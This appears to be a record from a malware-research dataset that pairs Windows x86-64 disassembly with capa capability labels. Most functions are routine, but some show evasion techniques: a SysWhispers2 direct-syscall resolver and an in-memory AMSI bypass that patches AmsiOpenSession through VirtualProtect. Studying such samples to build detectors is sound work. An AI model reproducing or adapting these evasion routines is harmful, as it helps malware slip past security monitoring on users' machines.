joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400dd040
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov esi, edx
mov rdi, rcx
mov rax, qword [0x140154028]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 8], 0
je 0x1400dd0bf
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, esi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1400dd0c4
test bl, bl
je 0x1400dd09b
cmp byte [rdi + 8], 0
je 0x1400dd120
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov edx, esi
call fcn.140030800
mov sil, 1
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140097620
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, qword [rdi]
jmp 0x1400dd06d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [rdi + 8], 0
je 0x1400dd0ec
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400dd0f1
xor esi, esi
jmp 0x1400dd0a8
mov rcx, qword [rdi]
jmp 0x1400dd0d9
mov dword [rsp + 0x24], 0xaaaaaaaa
cmp byte [rdi + 8], 0
je 0x1400dd128
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x1400dd09b
mov esi, dword [rsp + 0x24]
jmp 0x1400dd09b
mov rcx, qword [rdi]
jmp 0x1400dd090
mov rcx, qword [rdi]
jmp 0x1400dd108
Function at 0x1400fe300
Capabilities:
Hash data using sha512

Disassembly:
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 8], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x10], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x18], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x20], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x28], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x30], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rcx + 0x38], rax
movabs rax, 0x4000000000
mov qword [rcx + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x40], xmm0
mov eax, 1
ret

Function at 0x140101e50
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x80
mov rbx, r8
mov r12, rdx
mov r14, rcx
mov r10d, dword [rsp + 0xe0]
mov rax, qword [0x140154028]
xor rax, rsp
mov qword [rsp + 0x78], rax
movsxd r8, dword [rcx + 0x18]
lea ecx, [r10 + 4]
mov esi, ecx
shr esi, 6
xor edx, edx
mov edi, 0
cmp rsi, r8
jae 0x140101ea8
mov rdi, qword [r9 + rsi*8]
shr rdi, cl
shl edi, 5
and edi, 0x20
lea ecx, [r10 + 3]
mov eax, ecx
shr eax, 6
cmp rax, r8
jae 0x140101ec3
mov rdx, qword [r9 + rax*8]
shr rdx, cl
shl edx, 4
and edx, 0x10
or edx, edi
lea ecx, [r10 + 2]
mov eax, ecx
shr eax, 6
xor edi, edi
mov esi, 0
cmp rax, r8
jae 0x140101ee7
mov rsi, qword [r9 + rax*8]
shr rsi, cl
shl esi, 3
and esi, 8
or edx, esi
lea ecx, [r10 + 1]
mov eax, ecx
shr eax, 6
cmp rax, r8
jae 0x140101f04
mov rdi, qword [r9 + rax*8]
shr rdi, cl
shl edi, 2
and edi, 4
or edx, edi
mov eax, r10d
shr eax, 6
xor edi, edi
cmp rax, r8
jae 0x140101f22
mov rdi, qword [r9 + rax*8]
mov ecx, r10d
shr rdi, cl
add edi, edi
and edi, 2
or edx, edi
test r10d, r10d
je 0x140101f48
dec r10d
mov eax, r10d
shr eax, 6
xor edi, edi
cmp rax, r8
jae 0x140101f46
mov rdi, qword [r9 + rax*8]
mov ecx, r10d
shr rdi, cl
and edi, 1
or edx, edi
mov r15d, edx
shr r15, 5
lea eax, [r15 - 1]
neg r15
and eax, edx
xor edx, 0x3f
mov r13d, r15d
and r13d, edx
or r13d, eax
mov rax, r13
shr rax, 1
and r13d, 1
add r13, rax
xor esi, esi
mov r8d, 0xd8
mov rcx, r12
xor edx, edx
call fcn.140099ee0
mov rdi, r13
not rdi
mov r8, rsi
xor r8, r13
dec r8
and r8, rdi
sar r8, 0x3f
mov qword [rsp + 0x20], r12
mov rcx, r14
mov rdx, r12
mov r9, rbx
call fcn.1400fef40
inc rsi
add rbx, 0xd8
cmp rsi, 0x11
jne 0x140101f89
movabs rax, 0xaaaaaaaaaaaaaaaa
lea rdx, [rsp + 0x30]
mov qword [rdx + 0x40], rax
movaps xmm0, xmmword [0x140133080]
movaps xmmword [rdx + 0x30], xmm0
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea r8, [r12 + 0x48]
mov rcx, r14
call fcn.140100fd0
movsxd rax, dword [r14 + 0x40]
test rax, rax
je 0x140102028
and r15d, 1
lea rcx, [r15 - 1]
neg r15
xor edx, edx
mov rbx, qword [rsp + rdx*8 + 0x30]
and rbx, r15
mov rdi, qword [r12 + rdx*8 + 0x48]
and rdi, rcx
or rdi, rbx
mov qword [r12 + rdx*8 + 0x48], rdi
inc rdx
cmp rax, rdx
jne 0x140102008
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140097620
nop
add rsp, 0x80
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14011bf00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r14, rcx
test r8d, r8d
jne 0x14011bf2e
movabs rax, 0x100000001
mov qword [r14], rax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov r15d, r8d
mov dword [r14], 0
test dl, 1
jne 0x14011bf4f
xor ebx, ebx
movzx edx, dx
shr edx, 1
inc ebx
mov ebp, edx
test dl, 1
je 0x14011bf3f
jmp 0x14011bf54
movzx ebp, dx
xor ebx, ebx
bsr ecx, ebp
xor ecx, 0x1f
mov eax, 0x20
sub eax, ecx
imul eax, r15d
cmp eax, 0xde3
jg 0x14011c051
mov eax, 1
mov esi, eax
lea eax, [rsi + rsi]
cmp esi, r15d
jle 0x14011bf75
or cl, 0x20
mov r8, 0xffffffffffffffff
shl r8, cl
sar esi, 2
movzx r10d, dx
xor eax, eax
test esi, esi
jne 0x14011c010
xor esi, esi
mov rcx, r10
mov dword [r14], 0
test rcx, rcx
je 0x14011bfc9
xor edx, edx
mov edi, ecx
and edi, 0xfffffff
mov dword [r14 + rdx*4 + 4], edi
shr rcx, 0x1c
inc rdx
test rcx, rcx
jne 0x14011bfac
mov word [r14], dx
test al, 1
je 0x14011bfd7
mov rcx, r14
mov edx, ebp
call fcn.14011bc20
test esi, esi
je 0x14011bff6
mov rcx, r14
call fcn.14011bd70
test esi, r15d
je 0x14011bff2
mov rcx, r14
mov edx, ebp
call fcn.14011bc20
sar esi, 1
jne 0x14011bfdb
imul ebx, r15d
mov rcx, r14
mov edx, ebx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.14011bb70
xor eax, eax
mov r9d, 1
mov rcx, r10
imul rcx, rcx
test esi, r15d
je 0x14011c03b
test rcx, r8
mov edx, 1
cmove rdx, r10
movzx eax, al
cmovne eax, r9d
imul rcx, rdx
sar esi, 1
je 0x14011bf9e
mov rdx, rcx
shr rdx, 0x20
je 0x14011c01b
jmp 0x14011bf9e
call fcn.1400e8290
int3
Function at 0x1400015c0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movdqa xmm0, xmmword [section..rdata]
movaps xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [0x140251010]
mov rsi, rcx
mov edi, edx
lea rcx, [0x1400340c0]
mov byte [rsp + 0x40], 0xf9
movaps xmmword [rsp + 0x30], xmm0
call fcn.14000fff0
lea rcx, [0x1400340a0]
mov rbp, rax
call fcn.14000fff0
cmp byte [rbp], 0
mov rbx, rax
jne 0x140001641
movdqa xmm1, xmmword [rsp + 0x20]
mov byte [rax + 0x21], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm2, xmmword [rsp + 0x30]
mov byte [rax + 0x20], 0xf9
lea rcx, [0x140022c30]
movups xmmword [rax], xmm1
movups xmmword [rax + 0x10], xmm2
mov byte [rbp], 1
call fcn.14000ed00
cmp byte [rbx + 0x21], 0
je 0x140001679
movabs r8, 0x2967333707df99f9
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor byte [rbx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001658
mov byte [rbx + 0x21], 0
mov ebp, edi
lea rcx, [rbp + 1]
call fcn.140021470
mov byte [rax + rbp], 0
mov r8, rax
xor eax, eax
test edi, edi
je 0x1400016b2
nop dword [rax]
mov rdx, rax
and edx, 0x1f
movzx edx, byte [rbx + rdx]
xor dl, byte [rsi + rax]
mov byte [r8 + rax], dl
add rax, 1
cmp rbp, rax
jne 0x140001698
mov rax, r8
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140004520
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140004554
cmp word [rcx], 0x5a4d
jne 0x140004554
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140004554
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004554
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140004460
test eax, eax
jne 0x140004570
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400044d0
test rax, rax
je 0x140004565
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004b45
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret
Function at 0x1400047b0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Populate syswhispers2 syscall list
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r8, qword [rax + 0x10]
mov rcx, qword [r8 + 0x30]
test rcx, rcx
je 0x140004981
xor r10d, r10d
nop dword [rax]
mov rdx, rcx
movsxd rcx, dword [rcx + 0x3c]
mov eax, dword [rdx + rcx + 0x88]
test eax, eax
je 0x14000481f
lea r10, [rdx + rax]
mov ecx, dword [r10 + 0xc]
add rcx, rdx
mov r9d, dword [rcx]
or r9d, 0x20202020
cmp r9d, 0x6c64746e
jne 0x14000481f
mov eax, dword [rcx + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140004834
mov r8, qword [r8]
mov rcx, qword [r8 + 0x30]
test rcx, rcx
jne 0x1400047e0
test r10, r10
je 0x140004981
mov eax, dword [r10 + 0x18]
mov edi, dword [r10 + 0x24]
xor esi, esi
lea r12, [0x14024f284]
mov ebp, dword [r10 + 0x1c]
lea ecx, [rax - 1]
mov eax, dword [r10 + 0x20]
add rdi, rdx
add rbp, rdx
lea r11, [rdi + rcx*2]
add rax, rdx
lea rbx, [rax + rcx*4]
jmp 0x14000487c
sub rbx, 4
lea rax, [r11 - 2]
cmp rdi, r11
je 0x140004900
mov r11, rax
mov eax, dword [rbx]
add rax, rdx
cmp word [rax], 0x775a
jne 0x140004868
mov ecx, esi
cmp byte [rax], 0
lea r13, [r12 + rcx*8]
je 0x140004976
cmp byte [rax + 1], 0
mov r8d, 0xfbf48ea2
je 0x1400048ce
mov r9d, 1
mov ecx, 1
nop
mov r10d, r8d
movzx ecx, word [rax + rcx]
add r9d, 1
ror r10d, 8
add ecx, r10d
xor r8d, ecx
mov ecx, r9d
cmp byte [rax + rcx], 0
jne 0x1400048b0
movzx eax, word [r11]
mov dword [r13], r8d
add esi, 1
mov eax, dword [rbp + rax*4]
mov dword [r13 + 4], eax
cmp esi, 0x1f4
jne 0x140004868
mov dword [0x14024f280], 0x1f4
mov ebx, 0x1f3
jmp 0x14000490d
mov dword [0x14024f280], esi
sub esi, 1
mov ebx, esi
je 0x140004968
xor r11d, r11d
lea edi, [rbx - 1]
lea rsi, [0x14024f28c]
nop word [rax + rax]
cmp ebx, r11d
je 0x14000495f
mov edx, edi
lea rax, [0x14024f284]
sub edx, r11d
lea r8, [rsi + rdx*8]
nop dword [rax]
mov edx, dword [rax + 4]
mov ecx, dword [rax + 0xc]
cmp edx, ecx
jbe 0x140004956
mov r9d, dword [rax]
mov r10d, dword [rax + 8]
mov dword [rax + 4], ecx
mov dword [rax + 0xc], edx
mov dword [rax], r10d
mov dword [rax + 8], r9d
add rax, 8
cmp r8, rax
jne 0x140004938
add r11d, 1
cmp ebx, r11d
ja 0x140004920
mov eax, 1
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8d, 0x1eebede5
jmp 0x1400048ce
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140004a40
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, dword [0x140250240]
call fcn.1400049e0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret
Function at 0x14000f180
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140254860]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000f1a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000f1a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000f1a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000f1f5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000f1ec
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000f1a0
add rax, 0x28
cmp rax, r9
jne 0x14000f1d8
xor eax, eax
ret

Function at 0x14000f200
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140254860]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000f220
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000f228
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000f220
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000f2b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140254860]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000f2d0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000f2d8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x1400111fe
Capabilities:
Terminate process

Disassembly:
jmp 0x1400131d0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011285
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014520
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014540
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014553
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001457d
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014591
xor al, al
jmp 0x1400145c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400145a3
xor al, al
jmp 0x1400145c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400145bf
xor al, al
jmp 0x1400145c1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400113fc
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Encrypt data using rc4 prga

Disassembly:
jmp 0x140016250
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x168]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400220f6]
call fcn.14001138e
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
cmp qword [rbp + 0x140], 0
jne 0x1400162c1
xor eax, eax
jmp 0x1400163ac
xor eax, eax
cmp eax, 1
je 0x14001631c
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x140]
movzx eax, byte [rcx + rax]
cmp eax, 0xc3
jne 0x140016312
mov eax, dword [rbp + 0x24]
inc eax
mov eax, eax
mov rcx, qword [rbp + 0x140]
movzx eax, byte [rcx + rax]
cmp eax, 0xcc
jne 0x140016312
mov eax, dword [rbp + 0x24]
add eax, 2
mov eax, eax
mov rcx, qword [rbp + 0x140]
movzx eax, byte [rcx + rax]
cmp eax, 0xcc
jne 0x140016312
jmp 0x14001631c
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
jmp 0x1400162c1
cmp dword [rbp + 0x24], 0
je 0x140016355
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x140]
movzx eax, byte [rcx + rax]
cmp eax, 0x74
jne 0x14001634b
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x140]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
jmp 0x140016355
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
jmp 0x14001631c
cmp qword [rbp + 8], 0
jne 0x140016360
xor eax, eax
jmp 0x1400163ac
lea r9, [rbp + 0x44]
mov r8d, 0x40
mov edx, 1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140016381
xor eax, eax
jmp 0x1400163ac
mov rax, qword [rbp + 8]
mov byte [rax], 0x75
lea r9, [rbp + 0x44]
mov r8d, dword [rbp + 0x44]
mov edx, 1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400163a7
xor eax, eax
jmp 0x1400163ac
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac60]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140011401
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400160d0
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400220f6]
call fcn.14001138e
nop
mov byte [rbp + 8], 0x41
mov byte [rbp + 9], 0x6d
mov byte [rbp + 0xa], 0x73
mov byte [rbp + 0xb], 0x69
mov byte [rbp + 0xc], 0x2e
mov byte [rbp + 0xd], 0x64
mov byte [rbp + 0xe], 0x6c
mov byte [rbp + 0xf], 0x6c
mov byte [rbp + 0x10], 0
mov dl, 0xab
lea rcx, [rbp + 8]
call fcn.1400113f7
nop
mov dl, 0xab
lea rcx, [rbp + 8]
call fcn.1400113f7
nop
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
jne 0x140016177
lea rdx, [rbp + 8]
lea rcx, str.Failed_to_load__s_n
call fcn.1400111a4
nop
xor eax, eax
jmp 0x14001621e
mov byte [rbp + 0x58], 0x41
mov byte [rbp + 0x59], 0x6d
mov byte [rbp + 0x5a], 0x73
mov byte [rbp + 0x5b], 0x69
mov byte [rbp + 0x5c], 0x4f
mov byte [rbp + 0x5d], 0x70
mov byte [rbp + 0x5e], 0x65
mov byte [rbp + 0x5f], 0x6e
mov byte [rbp + 0x60], 0x53
mov byte [rbp + 0x61], 0x65
mov byte [rbp + 0x62], 0x73
mov byte [rbp + 0x63], 0x73
mov byte [rbp + 0x64], 0x69
mov byte [rbp + 0x65], 0x6f
mov byte [rbp + 0x66], 0x6e
mov byte [rbp + 0x67], 0
mov dl, 0xba
lea rcx, [rbp + 0x58]
call fcn.1400113f7
nop
mov dl, 0xba
lea rcx, [rbp + 0x58]
call fcn.1400113f7
nop
lea rdx, [rbp + 0x58]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140016203
lea rdx, [rbp + 0x58]
lea rcx, str.Failed_to_locate__s_function._n
call fcn.1400111a4
nop
xor eax, eax
jmp 0x14001621e
mov rdx, qword [rbp + 0x88]
lea rcx, str.AmsiOpenSession_is_located_at_address:__p_n
call fcn.1400111a4
nop
mov rax, qword [rbp + 0x88]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ba90]
call fcn.140011320
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140012410
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113b6
movzx eax, al
test eax, eax
jne 0x140012430
mov ecx, 7
call fcn.14001132a
nop
mov byte [rsp + 0x20], 0
call fcn.14001133e
mov byte [rsp + 0x21], al
cmp dword [0x14001d868], 1
jne 0x140012454
mov ecx, 7
call fcn.14001132a
nop
jmp 0x1400124ac
cmp dword [0x14001d868], 0
jne 0x1400124a7
mov dword [0x14001d868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111a9
test eax, eax
je 0x140012488
mov eax, 0xff
jmp 0x1400125b1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.140011334
mov dword [0x14001d868], 2
jmp 0x1400124ac
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011316
call fcn.1400112a8
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012509
mov rcx, qword [rsp + 0x30]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x140012509
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140023020]
nop
call fcn.1400112da
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001253d
mov rcx, qword [rsp + 0x38]
call fcn.14001115e
movzx eax, al
test eax, eax
je 0x14001253d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011375
nop
call fcn.140012660
mov dword [rsp + 0x28], eax
call fcn.140011285
movzx eax, al
test eax, eax
jne 0x14001255c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001256b
call fcn.14001137f
nop
xor edx, edx
mov cl, 1
call fcn.14001114f
mov eax, dword [rsp + 0x28]
jmp 0x1400125b1
add rsp, 0x68
ret
Function at 0x14001124e
Capabilities:
Terminate process

Disassembly:
jmp 0x140013a50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112e9
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014da0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014dc0
xor al, al
jmp 0x140014e41
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014dd3
xor al, al
jmp 0x140014e41
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014dfd
xor al, al
jmp 0x140014e41
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014e11
xor al, al
jmp 0x140014e41
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014e23
xor al, al
jmp 0x140014e41
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014e3f
xor al, al
jmp 0x140014e41
mov al, 1
add rsp, 0x38
ret
Function at 0x140007ff0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x140312ca0]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor esi, esi
mov qword [rbp - 0x21], rsi
movdqa xmm0, xmmword [0x1402c7850]
movdqu xmmword [rbp - 0x11], xmm0
mov word [rbp - 0x21], si
lea rcx, [rbp - 0x21]
call fcn.140063808
mov ebx, eax
test eax, eax
js 0x14000806b
lea rcx, [rbp - 0x21]
cmp qword [rbp - 9], 8
cmovae rcx, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
test eax, eax
je 0x140008057
mov ebx, esi
jmp 0x14000806b
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
mov qword [rbp - 0x41], rsi
movdqa xmm0, xmmword [0x1402c7850]
movdqu xmmword [rbp - 0x31], xmm0
mov word [rbp - 0x41], si
test ebx, ebx
js 0x140008198
lea rdx, [rbp - 0x41]
mov cl, 1
call fcn.1400651a0
mov ebx, eax
test eax, eax
js 0x140008198
mov r8d, SafeArrayGetElement
lea rdx, str.FileSyncHelperlogs
lea rcx, [rbp - 0x41]
call fcn.140009ecc
lea rdx, [rbp - 0x41]
cmp qword [rbp - 0x29], 8
cmovae rdx, qword [rbp - 0x41]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
lea rax, [rbp - 0x41]
cmp qword [rbp - 0x29], 8
cmovae rax, qword [rbp - 0x41]
xor r9d, r9d
mov byte [rsp + 0x48], sil
mov dword [rsp + 0x40], 3
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], sil
xor r8d, r8d
lea rsi, str.FileSyncHelper
mov rdx, rsi
mov rcx, rsi
call fcn.140020168
mov ebx, eax
lea rax, [0x1402c5afc]
mov qword [rbp + 0x37], rax
mov dword [rbp + 0x2f], 3
mov dword [rbp + 0x3f], ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0x7df240a5
lea rax, [0x1402c63c8]
